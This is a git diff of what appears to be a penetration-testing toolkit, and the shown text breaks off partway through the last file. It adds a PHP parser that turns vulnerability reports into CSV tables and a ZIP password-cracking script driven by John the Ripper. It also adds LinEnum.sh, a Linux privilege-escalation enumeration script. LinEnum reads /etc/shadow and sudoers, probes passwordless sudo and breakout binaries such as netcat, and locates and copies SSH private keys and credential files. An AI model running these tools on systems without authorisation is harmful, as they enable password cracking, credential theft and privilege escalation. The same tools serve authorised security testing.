die("[-] Failed to open 'content.xml'\n"); +while ($reader->read()){ + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'text:h' || $reader->name === 'text:p' || $reader->name === 'text:bookmark')) { + if(!empty($reader->expand()->textContent)) + $line[] = $reader->expand()->textContent; // Put the text into array in correct order... + //echo $reader->expand()->textContent;echo "\n"; // DEBUG + } +} +$reader->close(); + +// find the content we want +$start = 0; $end = 0; +foreach($line as $key => $val){ + if(strpos($val, "Discovered Vulnerabilities") === 0){ $start = $key; } + if(strpos($val, "This section provides a quick guide to plan your remediation for the vulnerabilities discovered during the test.") === 0){ $end = $key-2; } + $line[$key] = trim($val); +} + +// add to sexy array's +$vuln = array(); +$vulnPlace = 0; +$switch = 0; +$sub2 = 0; +$sub3 = 1; +for ($i=$start; $i <= $end ; $i++) { + // change state (action to take) + /*** + * ~states~ + * 0 = do nothing + * 1 = next is title + * 2 = next is description + * 3 = next is solution + * 4 = next is remediation + * 5 = next is cvss no + * 6 = next is risk level + * 7 = next is hosts + * 8 = next possibly title + */ + switch ($line[$i]) { + case 'Discovered Vulnerabilieies': + $switch = 0; + break; + case 'Serious Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'High Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Medium Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Low Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Description': + $switch = 2; + break; + case 'Solution': + $switch = 3; + break; + case 'Remediation': + $switch = 4; + break; + case 'CVSS Base Score': + $switch = 5; + break; + case 'Risk Level': + $switch = 6; + break; + case 'Vulnerabilities Exist On': + $switch = 7; + break; + default: + # code... + break; + } + + //take action + switch ($switch) { + case 1: + $i++; + $vuln[$vulnPlace]['title'] = $line[$i]; + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + case 2: + @$vuln[$vulnPlace]['desc'] .= $line[$i]; + break; + case 3: + @$vuln[$vulnPlace]['fix'] .= $line[$i]; + break; + case 4: + $i++; + $vuln[$vulnPlace]['rem'] = trim(strtok($line[$i], " ")); + $switch = 0; + break; + case 5: + $i++; + $vuln[$vulnPlace]['cvss'] = $line[$i]; + $switch = 0; + break; + case 6: + $i++; + $vuln[$vulnPlace]['risk'] = trim(strtok($line[$i], " ")); + $vuln[$vulnPlace]['owasp'] = trim(substr($line[$i], strpos($line[$i], ":") + 1)); + $switch = 0; + break; + case 7: + $i++; + $vuln[$vulnPlace]['hosts'] = $line[$i]; + $switch = 8; + $vulnPlace++; + break; + case 8: + $vuln[$vulnPlace]['title'] = trim($line[$i]); + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + default: + # code... + break; + } + + //echo $line[$i]."\n"; // DEBUG +} + +// minor tidying of arrays +for ($i=0; $i < sizeof($vuln) ; $i++) { + if (strpos($vuln[$i]['desc'], "Description") === 0) $vuln[$i]['desc'] = substr($vuln[$i]['desc'], strlen("Description")); + if (strpos($vuln[$i]['fix'], "Solution") === 0) $vuln[$i]['fix'] = substr($vuln[$i]['fix'], strlen("Solution")); + $vuln[$i]['risk'] = rtrim($vuln[$i]['risk'], ":"); + // remove html encoding + foreach($vuln[$i] as $key => $val){ + $vuln[$i][$key] = mb_convert_encoding($val, "UTF-8", 'UTF-8'); + } +} + +//print_r($vuln); // DEBUG +echo "[+] vulnerabilities identified\n"; + +delTree("/tmp/$rand"); +echo "[+] temp files removed\n"; + +$resultsFolder = substr($filter->getParam("doc"), 0, strrpos( $filter->getParam("doc"), '/') )."/rep2"; +if(!file_exists($resultsFolder."/")){ + mkdir($resultsFolder."/"); + echo "[+] created directory $resultsFolder/\n"; +}else{ + $i = 1; + while (file_exists($resultsFolder."_$i/")) + $i++; + mkdir($resultsFolder."_$i/"); + $resultsFolder .= "_$i"; + echo "[+] created directory $resultsFolder/\n"; +} + +if(writeIssueTable($vuln, "Serious", $resultsFolder."/findings_serious.csv")) + echo "[+] serious issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "High", $resultsFolder."/findings_high.csv")) + echo "[+] high issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Medium", $resultsFolder."/findings_medium.csv")) + echo "[+] medium issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Low", $resultsFolder."/findings_low.csv")) + echo "[+] low issues: $resultsFolder/findings_serious.csv\n"; + +if(writeAllTable($vuln, $resultsFolder."/findings_all.csv")) + echo "[+] all issues: $resultsFolder/findings_all.csv\n"; + +if(writeRemediationTable($vuln, $resultsFolder."/remediation.csv")) + echo "[+] remediation table: $resultsFolder/remediation.csv\n"; + +if(writeOWASPTable($vuln, $resultsFolder."/owasp.csv")) + echo "[+] OWASP table: $resultsFolder/owasp.csv\n"; + +viewVulns($vuln); + +function unzipFolder($zipInputFile, $outputFolder) { + $zip = new ZipArchive; + $res = $zip->open($zipInputFile); + if ($res === true) { + $zip->extractTo($outputFolder); + $zip->close(); + return true; + } + else { + return false; + } +} + +function XML2Array(SimpleXMLElement $parent){ + $array = array(); + + foreach ($parent as $name => $element) { + ($node = & $array[$name]) + && (1 === count($node) ? $node = array($node) : 1) + && $node = & $node[]; + + $node = $element->count() ? XML2Array($element) : trim($element); + } + + return $array; +} + +function delTree($dir){ + $files = array_diff(scandir($dir), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); + } + + return rmdir($dir); +} + +function viewVulns($vuln){ + $s = $h = $m = $l = 0; + for ($i=0; $i < sizeof($vuln) ; $i++) { + switch ($vuln[$i]['risk']) { + case 'Serious': + $s++; + break; + case 'High': + $h++; + break; + case 'Medium': + $m++; + break; + case 'Low': + $l++; + break; + } + } + echo "[=] Serious = $s, High = $h, Medium = $m, Low = $l\n"; + +echo" +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------\n"; +for ($i=0; $i < sizeof($vuln) ; $i++) { + $ref = str_pad($vuln[$i]['ref'], 7); + $title = str_pad($vuln[$i]['title'], 35); + $risk = str_pad($vuln[$i]['risk'], 8); + $cvss = str_pad($vuln[$i]['cvss'], 8); + $rem = str_pad($vuln[$i]['rem'], 15); + $owasp = str_pad($vuln[$i]['owasp'], 30); + + echo substr($ref, 0, 7); echo "|"; + echo substr($title, 0, 35); echo "|"; + echo substr($risk, 0, 8); echo "|"; + echo substr($cvss, 0, 8); echo "|"; + echo substr($rem, 0, 15); echo "|"; + echo substr($owasp, 0, 30); echo "\n"; +} +} + +function writeIssueTable($vuln, $issue, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if($vuln[$i]['risk'] == $issue){ + $towrite[$i]['desc'] = $vuln[$i]['title']." - ".$vuln[$i]['desc']; + $towrite[$i]['fix'] = $vuln[$i]['fix']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeAllTable($vuln, $path){ + if(sizeof($vuln) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Title", "Ref", "Description", "Solution", "Remediation", "CVSS", "Risk", "OWASP", "Affected")); + foreach ($vuln as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeRemediationTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['p'] = " "; + $towrite[$i]['c'] = " "; + $towrite[$i]['d'] = " "; + $towrite[$i]['u'] = " "; + switch ($vuln[$i]['rem']) { + case 'Patch': + $towrite[$i]['p'] = $vuln[$i]['risk'][0]; + break; + case 'Configuration': + $towrite[$i]['c'] = $vuln[$i]['risk'][0]; + break; + case 'Development': + $towrite[$i]['d'] = $vuln[$i]['risk'][0]; + break; + case 'Upgrade': + $towrite[$i]['u'] = $vuln[$i]['risk'][0]; + break; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Host", "Ref", "P", "C", "D", "U")); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeOWASPTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if(in_array($vuln[$i]['owasp'], array_column($towrite, 'owaspId'))){ + $towrite[$vuln[$i]['owasp']]['no']++; + }else{ + $towrite[$vuln[$i]['owasp']]['owaspId'] = $vuln[$i]['owasp']; + $towrite[$vuln[$i]['owasp']]['no'] = 1; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +?> \ No newline at end of file diff --git a/crack_zip.sh b/crack_zip.sh new file mode 100755 index 0000000..bc6de1a --- /dev/null +++ b/crack_zip.sh @@ -0,0 +1,18 @@ +#!/bin/bash +echo "ZIP-JTR Decrypt Script"; +if [ $# -ne 2 ] +then +echo "Usage $0 "; +exit; +fi +unzip -l $1 +for i in $(john --wordlist=$2 --rules --stdout) +do + echo -ne "\rtrying \"$i\" " + unzip -o -P $i $1 >/dev/null 2>&1 + STATUS=$? + if [ $STATUS -eq 0 ]; then + echo -e "\nArchive password is: \"$i\"" + break + fi +done diff --git a/evilsvgfile.svg b/evilsvgfile.svg new file mode 100755 index 0000000..07d08f0 --- /dev/null +++ b/evilsvgfile.svg @@ -0,0 +1,9 @@ + + + + + + + \ No newline at end of file diff --git a/privesc/LinEnum.sh b/privesc/LinEnum.sh new file mode 100755 index 0000000..fe8d7a2 --- /dev/null +++ b/privesc/LinEnum.sh @@ -0,0 +1,1208 @@ +#!/bin/bash +#A script to enumerate local information from a Linux host +v="version 0.5 (experimental)" +#@oshearing + +#help function +usage () +{ +echo -e "\n\e[00;31m#########################################################\e[00m" +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" +echo -e "\e[00;31m#########################################################\e[00m" +echo -e "\e[00;33m# www.rebootuser.com\e[00m" +echo -e "\e[00;33m# $v\e[00m\n" +echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" + + echo "OPTIONS:" + echo "-k Enter keyword" + echo "-e Enter export location" + echo "-t Include thorough (lengthy) tests" + echo "-r Enter report name" + echo "-h Displays this help text" + echo -e "\n" + echo "Running with no options = limited scans/no output file" + +echo -e "\e[00;31m#########################################################\e[00m" +} +while getopts "h:k:r:e:t" option; do + case "${option}" in + k) keyword=${OPTARG};; + r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; + e) export=${OPTARG};; + t) thorough=1;; + h) usage; exit;; + *) usage; exit;; + esac +done + +echo -e "\n\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null + +echo "Debug Info" |tee -a $report 2>/dev/null + +if [ "$keyword" ]; then + echo "keyword = $keyword" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$report" ]; then + echo "report name = $report" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ]; then + echo "export location = $export" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$thorough" ]; then + echo "thorough tests = enabled" |tee -a $report 2>/dev/null +else + echo "thorough tests = disabled" |tee -a $report 2>/dev/null +fi + +sleep 2 + +if [ "$export" ]; then + mkdir $export 2>/dev/null + format=$export/LinEnum-export-`date +"%d-%m-%y_%H:%M"` + mkdir $format 2>/dev/null +else + : +fi + +who=`whoami` |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null +echo -e "\e[00m\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null + +#basic kernel info +unameinfo=`uname -a 2>/dev/null` +if [ "$unameinfo" ]; then + echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +procver=`cat /proc/version 2>/dev/null` +if [ "$procver" ]; then + echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#search all *-release files for version info +release=`cat /etc/*-release 2>/dev/null` +if [ "$release" ]; then + echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#target hostname info +hostnamed=`hostname 2>/dev/null` +if [ "$hostnamed" ]; then + echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null + +#current user details +currusr=`id 2>/dev/null` +if [ "$currusr" ]; then + echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#last logged on user information +lastlogedonusrs=`lastlog |grep -v "Never" 2>/dev/null` +if [ "$lastlogedonusrs" ]; then + echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#strips out username uid and gid values from /etc/passwd +usrsinfo=`cat /etc/passwd | cut -d ":" -f 1,2,3,4 2>/dev/null` +if [ "$usrsinfo" ]; then + echo -e "\e[00;31mAll users and uid/gid info:\e[00m\n$usrsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists all id's and respective group(s) +grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null` +if [ "$grpinfo" ]; then + echo -e "\e[00;31mGroup memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) +hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` +if [ "$hashesinpasswd" ]; then + echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#locate custom user accounts with some 'known default' uids +readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'` +if [ "$readpasswd" ]; then + echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/passwd $format/etc-export/passwd 2>/dev/null +else + : +fi + +#checks to see if the shadow file can be read +readshadow=`cat /etc/shadow 2>/dev/null` +if [ "$readshadow" ]; then + echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readshadow" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/shadow $format/etc-export/shadow 2>/dev/null +else + : +fi + +#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant +readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` +if [ "$readmasterpasswd" ]; then + echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmasterpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null +else + : +fi + +#all root accounts (uid 0) +echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#pull out vital sudoers info +sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$'|grep -v "#"` +if [ "$sudoers" ]; then + echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$sudoers" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null +else + : +fi + +#can we sudo without supplying a password +sudoperms=`echo '' | sudo -S -l 2>/dev/null` +if [ "$sudoperms" ]; then + echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#known 'good' breakout binaries +sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null` +if [ "$sudopwnage" ]; then + echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if roots home directory is accessible +rthmdir=`ls -ahl /root/ 2>/dev/null` +if [ "$rthmdir" ]; then + echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#displays /home directory permissions - check if any are lax +homedirperms=`ls -ahl /home/ 2>/dev/null` +if [ "$homedirperms" ]; then + echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#looks for files we can write to that don't belong to us +if [ "$thorough" = "1" ]; then + grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null` + if [ "$grfilesall" ]; then + echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi +fi + +#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` + if [ "$wrfileshm" ]; then + echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wrfileshm" ]; then + mkdir $format/wr-files/ 2>/dev/null + for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null + else + : + fi + else + : +fi + +#lists current user's home directory contents +if [ "$thorough" = "1" ]; then +homedircontents=`ls -ahl ~ 2>/dev/null` + if [ "$homedircontents" ] ; then + echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +sshfiles=`find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls` + if [ "$sshfiles" ]; then + echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$sshfiles" ]; then + mkdir $format/ssh-files/ 2>/dev/null + for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#is root permitted to login via ssh +sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` +if [ "$sshrootlogin" = "yes" ]; then + echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null + +#current path configuration +pathinfo=`echo $PATH 2>/dev/null` +if [ "$pathinfo" ]; then + echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists available shells +shellinfo=`cat /etc/shells 2>/dev/null` +if [ "$shellinfo" ]; then + echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#current umask value with both octal and symbolic output +umask=`umask -S 2>/dev/null & umask 2>/dev/null` +if [ "$umask" ]; then + echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#umask value as in /etc/login.defs +umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null` +if [ "$umaskdef" ]; then + echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#password policy information as stored in /etc/login.defs +logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null` +if [ "$logindefs" ]; then + echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$logindefs" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null + +#are there any cron jobs configured +cronjobs=`ls -la /etc/cron* 2>/dev/null` +if [ "$cronjobs" ]; then + echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we manipulate these jobs in any way +cronjobwwperms=`find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$cronjobwwperms" ]; then + echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#contab contents +crontab=`cat /etc/crontab 2>/dev/null` +if [ "$crontab" ]; then + echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` +if [ "$crontabvar" ]; then + echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` +if [ "$anacronjobs" ]; then + echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacrontab=`ls -la /var/spool/anacron 2>/dev/null` +if [ "$anacrontab" ]; then + echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) +cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null` +if [ "$cronother" ]; then + echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" |tee -a $report 2>/dev/null + +#nic information +nicinfo=`/sbin/ifconfig -a 2>/dev/null` +if [ "$nicinfo" ]; then + echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#dns settings +nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"` +if [ "$nsinfo" ]; then + echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#default route configuration +defroute=`route 2>/dev/null | grep default` +if [ "$defroute" ]; then + echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening TCP +tcpservs=`netstat -antp 2>/dev/null` +if [ "$tcpservs" ]; then + echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening UDP +udpservs=`netstat -anup 2>/dev/null` +if [ "$udpservs" ]; then + echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null + +#running processes +psaux=`ps aux 2>/dev/null` +if [ "$psaux" ]; then + echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lookup process binary path and permissisons +procperm=`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'` +if [ "$procperm" ]; then + echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$procperm" ]; then +procpermbase=`ps aux | awk '{print $11}'|xargs -r ls 2>/dev/null |awk '!x[$0]++'` + mkdir $format/ps-export/ 2>/dev/null + for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null +else + : +fi + +#anything 'useful' in inetd.conf +inetdread=`cat /etc/inetd.conf 2>/dev/null` +if [ "$inetdread" ]; then + echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$inetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each +inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$inetdbinperms" ]; then + echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +xinetdread=`cat /etc/xinetd.conf 2>/dev/null` +if [ "$xinetdread" ]; then + echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$xinetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null +else + 